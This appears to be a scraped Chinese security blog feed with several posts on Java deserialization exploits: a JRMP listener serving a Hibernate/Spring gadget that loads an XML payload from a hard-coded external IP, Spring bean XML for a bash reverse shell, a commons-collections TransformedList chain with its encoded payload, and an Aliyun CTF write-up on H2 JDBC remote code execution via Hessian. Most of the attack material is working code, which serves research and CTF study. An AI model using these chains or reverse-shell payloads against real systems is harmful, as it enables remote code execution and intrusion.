309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
package com;
import com.n1ght.reflect.ReflectTools;
import com.n1ght.source.SourceTools;
import com.n1ght.unsafe.UnSafeTools;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.internal.util.ReflectHelper;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.AbstractType;
import org.hibernate.type.ComponentType;
import org.hibernate.type.Type;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import sun.rmi.transport.TransportConstants;

import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.swing.*;
import javax.swing.event.EventListenerList;
import javax.swing.text.DefaultFormatter;
import javax.swing.undo.CompoundEdit;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.*;
import java.net.*;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Vector;


/**
 * Generic JRMP listener
 * <p>
 * Opens up an JRMP listener that will deliver the specified payload to any
 * client connecting to it and making a call.
 *
 * @author mbechler
 */
@SuppressWarnings({
    "restriction"
})
public class JRMPListener implements Runnable {

    private int port;
    private Object payloadObject;
    private ServerSocket ss;
    private Object waitLock = new Object();
    private boolean exit;
    private boolean hadConnection;
    private URL classpathUrl;


    public JRMPListener(int port, Object payloadObject) throws NumberFormatException, IOException {
        this.port = port;
        this.payloadObject = payloadObject;
        this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
    }

    public JRMPListener(int port, String className, URL classpathUrl) throws IOException {
        this.port = port;
        this.payloadObject = makeDummyObject(className);
        this.classpathUrl = classpathUrl;
        this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
    }

    public JRMPListener() {
    }

    public static void main(String[] args) throws Exception {
        new JRMPListener().bypassModule();
//        if (args.length < 3) {
//            System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
//            System.exit(-1);
//            return;
//        }
        final Object payloadObject = makePayloadObject();

        try {
            int port = 1389;
            System.err.println("* Opening JRMP listener on " + port);
            JRMPListener c = new JRMPListener(port, payloadObject);
            c.run();
        } catch (Exception e) {
            System.err.println("Listener error");
            e.printStackTrace(System.err);
        }
    }

    private static Object makePayloadObject() throws Exception {
        DefaultFormatter defaultFormatter = new DefaultFormatter();
        defaultFormatter.setValueClass(ClassPathXmlApplicationContext.class);
        JFormattedTextField jFormattedTextField = new JFormattedTextField(defaultFormatter);
        jFormattedTextField.setValue("http://106.54.209.118:4444/poc.xml");
        Class<?> handler = Class.forName("javax.swing.JFormattedTextField$FocusLostHandler");
        Object o = UnSafeTools.newClass(handler);
        UnSafeTools.setObject(o, Class.forName("javax.swing.JFormattedTextField$FocusLostHandler").getDeclaredField("this$0"), jFormattedTextField);

        Class<?> execRunnable = Class.forName("reactor.core.scheduler.ExecutorScheduler$ExecutorTrackedRunnable");
        Object exec = UnSafeTools.newClass(execRunnable);
        UnSafeTools.setObject(exec,execRunnable.getDeclaredField("task"),o);

        Object makeHibernate5Getter = makeHibernate5Getter(execRunnable, "run");
        Object o1 = makeHibernate45Caller( exec,makeHibernate5Getter);

        return o1;
    }
    public static Object makeHibernate5Getter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException, ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
        Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter");
        Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
        Constructor<?> bgCon = basicGetter.getConstructor(new Class[] { Class.class, String.class, Method.class });
        Object g = bgCon.newInstance(new Object[] { tplClass, "run", tplClass.getDeclaredMethod(method, new Class[0]) });
        Object arr = Array.newInstance(getterIf, 1);
        Array.set(arr, 0, g);
        return arr;
    }
    static Object makeHibernate45Caller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
        PojoComponentTuplizer tup = (PojoComponentTuplizer)ReflectTools.createWithoutConstructor(PojoComponentTuplizer.class);
        ReflectTools.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
        ComponentType t = (ComponentType)ReflectTools.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
        ReflectTools.setFieldValue(t, "componentTuplizer", tup);
        ReflectTools.setFieldValue(t, "propertySpan", Integer.valueOf(1));
        ReflectTools.setFieldValue(t, "propertyTypes", new Type[] { (Type)t });
        TypedValue v1 = new TypedValue((Type)t, null);
        ReflectTools.setFieldValue(v1, "value", tpl);
        ReflectTools.setFieldValue(v1, "type", t);
        TypedValue v2 = new TypedValue((Type)t, null);
        ReflectTools.setFieldValue(v2, "value", tpl);
        ReflectTools.setFieldValue(v2, "type", t);

        HashMap<Object, Object> s = new HashMap();
        Field size = s.getClass().getDeclaredField("size");
        ReflectTools.setAccessible(size);
        size.set(s,2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException var6) {
            nodeC = Class.forName("java.util.HashMap$EntAry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
        ReflectTools.setAccessible(nodeCons);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Field table = s.getClass().getDeclaredField("table");
        ReflectTools.setAccessible(table);
        table.set(s,tbl);
        return s;
    }
    @SuppressWarnings({"deprecation"})
    protected static Object makeDummyObject(String className) {
        try {
            ClassLoader isolation = new ClassLoader() {
            };
            ClassPool cp = new ClassPool();
            cp.insertClassPath(new ClassClassPath(Dummy.class));
            CtClass clazz = cp.get(Dummy.class.getName());
            clazz.setName(className);
            return clazz.toClass(isolation).newInstance();
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[0];
        }
    }
    public void bypassModule() throws Exception {
//        UnSafeTools.bypassModule(this.getClass(), ClassPathXmlApplicationContext.class);
//        UnSafeTools.bypassModule(this.getClass(), JFormattedTextField.class);
//        UnSafeTools.bypassModule(this.getClass(), HashMap.class);
//        UnSafeTools.bypassModule(this.getClass(), GetterMethodImpl.class);
//        UnSafeTools.bypassModule(Class.forName("javax.swing.JFormattedTextField$FocusLostHandler"), JFormattedTextField.class);
//        UnSafeTools.bypassModule(JFormattedTextField.class, Class.forName("javax.swing.JFormattedTextField$FocusLostHandler"));
//        UnSafeTools.bypassModule(ReflectHelper.class, Class.forName("javax.swing.JFormattedTextField$FocusLostHandler"));
        UnSafeTools.bypassModule(ReflectTools.class, HashMap.class);
        UnSafeTools.bypassModule(ReflectTools.class, CompoundEdit.class);
        UnSafeTools.bypassModule(ReflectTools.class, int.class);
//        UnSafeTools.bypassModule(ReflectHelper.class, Class.forName("java.util.HashMap$Node"));
//
//        UnSafeTools.bypassModule(GetterMethodImpl.class, Class.forName("reactor.core.scheduler.ExecutorScheduler$ExecutorTrackedRunnable"));
    }
    public boolean waitFor(int i) {
        try {
            if (this.hadConnection) {
                return true;
            }
            System.err.println("Waiting for connection");
            synchronized (this.waitLock) {
                this.waitLock.wait(i);
            }
            return this.hadConnection;
        } catch (InterruptedException e) {
            return false;
        }
    }

    /**
     *
     */
    public void close() {
        this.exit = true;
        try {
            this.ss.close();
        } catch (IOException e) {
        }
        synchronized (this.waitLock) {
            this.waitLock.notify();
        }
    }

    public void run() {
        try {
            Socket s = null;
            try {
                while (!this.exit && (s = this.ss.accept()) != null) {
                    try {
                        s.setSoTimeout(5000);
                        InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
                        System.err.println("Have connection from " + remote);

                        InputStream is = s.getInputStream();
                        InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);

                        // Read magic (or HTTP wrapper)
                        bufIn.mark(4);
                        DataInputStream in = new DataInputStream(bufIn);
                        int magic = in.readInt();

                        short version = in.readShort();
                        if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
                            s.close();
                            continue;
                        }

                        OutputStream sockOut = s.getOutputStream();
                        BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
                        DataOutputStream out = new DataOutputStream(bufOut);

                        byte protocol = in.readByte();
                        switch (protocol) {
                            case TransportConstants.StreamProtocol:
                                out.writeByte(TransportConstants.ProtocolAck);
                                if (remote.getHostName() != null) {
                                    out.writeUTF(remote.getHostName());
                                } else {
                                    out.writeUTF(remote.getAddress().toString());
                                }
                                out.writeInt(remote.getPort());
                                out.flush();
                                in.readUTF();
                                in.readInt();
                            case TransportConstants.SingleOpProtocol:
                                doMessage(s, in, out, this.payloadObject);
                                break;
                            default:
                            case TransportConstants.MultiplexProtocol:
                                System.err.println("Unsupported protocol");
                                s.close();
                                continue;
                        }

                        bufOut.flush();
                        out.flush();
                    } catch (InterruptedException e) {
                        return;
                    } catch (Exception e) {
                        e.printStackTrace(System.err);
                    } finally {
                        System.err.println("Closing connection");
                        s.close();
                    }

                }

            } finally {
                if (s != null) {
                    s.close();
                }
                if (this.ss != null) {
                    this.ss.close();
                }
            }

        } catch (SocketException e) {
            return;
        } catch (Exception e) {
            e.printStackTrace(System.err);
        }
    }

    private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception {
        System.err.println("Reading message...");

        int op = in.read();

        switch (op) {
            case TransportConstants.Call:
                // service incoming RMI call
                doCall(in, out, payload);
                break;

            case TransportConstants.Ping:
                // send ack for ping
                out.writeByte(TransportConstants.PingAck);
                break;

            case TransportConstants.DGCAck:
                UID u = UID.read(in);
                break;

            default:
                throw new IOException("unknown transport op " + op);
        }

        s.close();
    }

    private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(in) {

            @Override
            protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
                if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
                    return ObjID[].class;
                } else if ("java.rmi.server.ObjID".equals(desc.getName())) {
                    return ObjID.class;
                } else if ("java.rmi.server.UID".equals(desc.getName())) {
                    return UID.class;
                }
                throw new IOException("Not allowed to read object");
            }
        };

        ObjID read;
        try {
            read = ObjID.read(ois);
        } catch (java.io.IOException e) {
            throw new MarshalException("unable to read objID", e);
        }


        if (read.hashCode() == 2) {
            ois.readInt(); // method
            ois.readLong(); // hash
            System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
        }

        System.err.println("Sending return with payload for obj " + read);

        out.writeByte(TransportConstants.Return);// transport op
        ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl);

        oos.writeByte(TransportConstants.ExceptionalReturn);
        new UID().write(oos);

//        BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
//        ReflectTools.setFieldValue(ex, "val", payload);

//        EventListenerList list2 = new EventListenerList();
//        UndoManager manager = new UndoManager();
//
//        Vector vector = (Vector) ReflectTools.getFieldValue(manager, "edits");
//        vector.add(payload);
//        ReflectTools.setFieldValue(list2, "listenerList", new Object[]{InternalError.class, manager});
        oos.writeObject(payload);

        oos.flush();
        out.flush();

        this.hadConnection = true;
        synchronized (this.waitLock) {
            this.waitLock.notifyAll();
        }
    }

    public static class Dummy implements Serializable {
        private static final long serialVersionUID = 1L;

    }

    static final class MarshalOutputStream extends ObjectOutputStream {


        private URL sendUrl;

        public MarshalOutputStream(OutputStream out, URL u) throws IOException {
            super(out);
            this.sendUrl = u;
        }

        MarshalOutputStream(OutputStream out) throws IOException {
            super(out);
        }

        @Override
        protected void annotateClass(Class<?> cl) throws IOException {
            if (this.sendUrl != null) {
                writeObject(this.sendUrl.toString());
            } else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
                writeObject(null);
            } else {
                URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
                String cb = "";

                for (URL u : us) {
                    cb += u.toString();
                }
                writeObject(cb);
            }
        }


        /**
         * Serializes a location from which to load the specified class.
         */
        @Override
        protected void annotateProxyClass(Class<?> cl) throws IOException {
            annotateClass(cl);
        }
    }
}

反弹shell的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="htt
p://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.spr
ingframework.org/schema/beans http://www.springframework.org/schema/beans/
spring-beans.xsd">
 <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
 <constructor-arg>
 <list>
 <value>/bin/bash</value>
 <value>-c</value>
 <value><![CDATA[bash -i >& /dev/tcp/xxxxx/7780 <&1]]></value>
 </list>
 </constructor-arg>
 </bean>
</beans>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>{echo,Y...E=}|{base64,-d}|{bash,-i}</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

]]> <p><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240422014918.png"></p> <h2 id="jdk1-8，jdk11"><a href= java反序列化漏洞commons-collections-TransformedList触发transform https://www.n1ght.cn/2024/04/17/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9Ecommons-collections-TransformedList%E8%A7%A6%E5%8F%91transform/ 2024-04-17T09:11:32.000Z 2024-04-27T12:49:59.005Z 所用到的类java原生类和common-collections类

jdk版本是
jdk1.8.0_162
看到之前师傅总结的cc链子的图，我去使用CodeQL寻找了一下，发现除了Map，List也能触发。
我找了一个可以触发到transform的链子，剩下的作用如InvokerTransform触发二次反序列化没有写，这边使用ChainedTransformer做一个例子
调用链：

分析

eventListener触发CodeSigner的toString方法


signerCertPath.getCertificates().get(0)
这一行代码

调用了signerCertPath的get(0)

也就是LazyList的get(0)，由于factory用的是

1
new ConstantFactory(chainedTransformer)

所以object就为chainedTransformer

进入


最后就进入了InvokerTransform的transform

结果

由于CertPath重写了writeReplace导致序列化异常，我使用了agent将其hook掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.n1ght;  
  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtMethod;  
  
import java.lang.instrument.ClassFileTransformer;  
import java.lang.instrument.IllegalClassFormatException;  
import java.security.ProtectionDomain;  
import java.security.cert.CertPath;  
  
public class RemoveReplaceTransformer implements ClassFileTransformer {  
    @Override  
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {  
        if(className.equals("java/security/cert/CertPath")){  
            try {  
                System.out.println(true);  
                ClassPool pool = ClassPool.getDefault();  
                CtClass ctClass = pool.get("java.security.cert.CertPath");  
                CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");  
                ctClass.removeMethod(writeReplace);  
                ctClass.detach();  
                return ctClass.toBytecode();  
            }catch (Exception e){  
                System.out.println(e);;  
            }  
  
        }  
  
        return  classfileBuffer;  
    }  
  
}

将agent加上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package com.web;  
  
  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantFactory;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.list.LazyList;  
import org.apache.commons.collections.list.TransformedList;  
import org.apache.commons.collections.map.ListOrderedMap;  
import sun.misc.Unsafe;  
import sun.security.provider.certpath.X509CertPath;  
  
import javax.swing.event.EventListenerList;  
import javax.swing.undo.UndoManager;  
import java.io.ByteArrayInputStream;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.security.CodeSigner;  
import java.util.*;  
  
public class ccExp {  
    public static void main(String[] args) throws Exception {  
  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
        };  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
        ArrayList<Object> list = new ArrayList<>();  
        list.add(null);  
        List decorate1 = TransformedList.decorate(list, chainedTransformer);  
        List decorate = LazyList.decorate(decorate1, new ConstantFactory(chainedTransformer));  
        HashMap<Object, Object> map = new HashMap<>();  
        ListOrderedMap decorated = (ListOrderedMap) ListOrderedMap.decorate(map);  
        Field field = Unsafe.class.getDeclaredField("theUnsafe");  
        field.setAccessible(true);  
        Unsafe unsafe = (Unsafe) field.get((Object) null);  
        unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField("insertOrder")), decorate);  
        X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);  
        unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);  
        Object o1 = unsafe.allocateInstance(CodeSigner.class);  
        unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), o);  
        EventListenerList list2 = new EventListenerList();  
        UndoManager manager = new UndoManager();  
        Vector vector = (Vector) getFieldValue(manager, "edits");  
        vector.add(o1);  
        unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")),new Object[]{InternalError.class, manager});  
        ByteArrayOutputStream bao = new ByteArrayOutputStream();  
        new ObjectOutputStream(bao).writeObject(list2);  
        System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray()));  
        ByteArrayInputStream bin = new ByteArrayInputStream(bao.toByteArray());  
        new ObjectInputStream(bin).readObject();  
    }  
    public static Object getFieldValue(Object obj, String fieldName) throws Exception {  
        Field field = getField(obj.getClass(), fieldName);  
        return field.get(obj);  
    }  
    public static Field getField(Class<?> clazz, String fieldName) {  
        Field field = null;  
  
        try {  
            field = clazz.getDeclaredField(fieldName);  
            field.setAccessible(true);  
        } catch (NoSuchFieldException var4) {  
            if (clazz.getSuperclass() != null) {  
                field = getField(clazz.getSuperclass(), fieldName);  
            }  
        }  
  
        return field;  
    }  
}

将base64编码内容，序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.example.web;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Test {
    public static void main(String[] args) throws Exception {
        String s = "rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdLE2xn2E6tZEAwAAeHB0ABdqYXZhLmxhbmcuSW50ZXJuYWxFcnJvcnNyABxqYXZheC5zd2luZy51bmRvLlVuZG9NYW5hZ2Vy4ysheUxxykICAAJJAA5pbmRleE9mTmV4dEFkZEkABWxpbWl0eHIAHWphdmF4LnN3aW5nLnVuZG8uQ29tcG91bmRFZGl0pZ5QulPblf0CAAJaAAppblByb2dyZXNzTAAFZWRpdHN0ABJMamF2YS91dGlsL1ZlY3Rvcjt4cgAlamF2YXguc3dpbmcudW5kby5BYnN0cmFjdFVuZG9hYmxlRWRpdAgNG47tAgsQAgACWgAFYWxpdmVaAAtoYXNCZWVuRG9uZXhwAQEBc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAGRzcgAYamF2YS5zZWN1cml0eS5Db2RlU2lnbmVyXqL6Zsshmq0CAAJMAA5zaWduZXJDZXJ0UGF0aHQAHUxqYXZhL3NlY3VyaXR5L2NlcnQvQ2VydFBhdGg7TAAJdGltZXN0YW1wdAAZTGphdmEvc2VjdXJpdHkvVGltZXN0YW1wO3hwc3IAK3N1bi5zZWN1cml0eS5wcm92aWRlci5jZXJ0cGF0aC5YNTA5Q2VydFBhdGhFP1T3TEUgtAIAAUwABWNlcnRzdAAQTGphdmEvdXRpbC9MaXN0O3hyABtqYXZhLnNlY3VyaXR5LmNlcnQuQ2VydFBhdGhUN4mXfdPl+wIAAUwABHR5cGV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHBzcgAsb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmxpc3QuTGF6eUxpc3ToSpYmWppU8gIAAUwAB2ZhY3Rvcnl0AChMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL0ZhY3Rvcnk7eHIARW9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5saXN0LkFic3RyYWN0U2VyaWFsaXphYmxlTGlzdERlY29yYXRvciVC5Cn2jXtrAwAAeHBzcgAzb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmxpc3QuVHJhbnNmb3JtZWRMaXN0DvL1W62zYVUCAAB4cgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbGxlY3Rpb24uVHJhbnNmb3JtZWRDb2xsZWN0aW9ueKFA96RzDpoCAAFMAAt0cmFuc2Zvcm1lcnQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHIAUW9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5jb2xsZWN0aW9uLkFic3RyYWN0U2VyaWFsaXphYmxlQ29sbGVjdGlvbkRlY29yYXRvcla8EBO7pqE0AwAAeHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAXcEAAAAAXB4eHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3EAfgAJTAALaU1ldGhvZE5hbWVxAH4AFFsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cQB+AAsAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADFzcQB+ACt1cQB+AAsAAAACcHB0AAZpbnZva2V1cQB+ADEAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgALc3EAfgArdXEAfgALAAAAAXQABGNhbGN0AARleGVjdXEAfgAxAAAAAXEAfgA0eHNyADdvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRGYWN0b3J5zyQKt21bKggCAAFMAAlpQ29uc3RhbnRxAH4AJ3hwcQB+ACNwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBweAAAAAAAAABkcHg=";
        byte[] decode = Base64.getDecoder().decode(s);
        System.out.println(new String(decode));
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
        new ObjectInputStream(byteArrayInputStream).readObject();
    }
}

]]> <p>所用到的类java原生类和common-collections类<br><img src="https://raw.githubusercontent.com/yezere/images/master/cc.jpg"><br>jdk版本是<br>jdk1.8.0_162<b 2024阿里云ctf-web-chain17 https://www.n1ght.cn/2024/04/12/2024%E9%98%BF%E9%87%8C%E4%BA%91ctf-web-chain17%E5%AD%A6%E4%B9%A0/ 2024-04-12T11:30:23.000Z 2024-04-13T10:42:29.486Z agent

jdk17依赖有h2思路清晰打jdbc attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<dependency>  
    <groupId>org.springframework.boot</groupId>  
    <artifactId>spring-boot-starter-web</artifactId>  
</dependency>  
  
<!-- https://mvnrepository.com/artifact/com.alibaba/hessian-lite -->  
<dependency>  
    <groupId>com.alibaba</groupId>  
    <artifactId>hessian-lite</artifactId>  
    <version>3.2.13</version>  
</dependency>  
  
<dependency>  
    <groupId>cn.hutool</groupId>  
    <artifactId>hutool-all</artifactId>  
    <version>5.8.16</version>  
</dependency>  
  
<!-- https://mvnrepository.com/artifact/com.h2database/h2 -->  
<dependency>  
    <groupId>com.h2database</groupId>  
    <artifactId>h2</artifactId>  
    <version>2.2.224</version>  
</dependency>

项目
Deserial_Sink_With_JDBC
jdbc-attack
fork了一个师傅的github
发现没有
su18

H2 RCE
Spring Boot H2 console,by changing the connection url of h2 database,we can make spring boot run script from the remote.
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM ‘http://127.0.0.1:8000/poc.sql‘
And then prepare a statemate something like below to declare and call the Runtime.getRuntime().exec():
CREATE ALIAS EXEC AS ‘String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return “su18”;}’;CALL EXEC (‘open -a Calculator.app’)
看到了h2 rce

1
2
3
4
String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";  
// getConnection 触发漏洞  
Connection connection = DriverManager.getConnection(connectionUrl);  
connection.close();

安装h2数据库
h2数据库
python -m http.server 8001

1
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('calc')

可以拿到calc
使用codeql查询sink

使用尝试

还有一个把cn.h2%修改为cn.hutool%，找到

1
2
3
4
5
6
7
8
String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";
Setting setting = new Setting();
setting.setCharset(null);
setting.set("url",connectionUrl);
Unsafe unsafe = UnSafeTools.getUnsafe();
PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);
UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting);
UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>());

这样就查找能触发到toString的类来触发jackson的getter去调用getConnection
由于是hessian反序列化会触发map的put方法，
我们寻找一条到pojonode#toString的链子， 但是Hessian 的反序列化受module的影响，但是原生的反序列化并不受module 的影响，所以hessian后面就要用到Bean的原生反序列化了
发现codeql显示能调用到但是

有限制，我们查找不继承这些接口的toString能触发pojonode#toString的方法，而且必须是jdk原生类
不然这个就满足了MutableObj
String#valueof和Object都满足
这样即可找到


确实可以触发
所以就是hessian2#readObject->AtomicReference#toString->String#valueof->POJONode#toString->h2的jdbc attack
使用codeql查找

hessian反序列化漏洞，是map反序列化，当他的_type不是null，且不是map和sortedMap时候，调用构造函数实例化

这时候生成了一个JSONObject变量，但是值为空

可以看到map将值put进去了两次反序列化
所以我们可以理解为，第一段Hessian2先创建一个JSONObject，
然后将两次反序列化的值作为key和value值
如何指定hessian2创建JSONObject呢

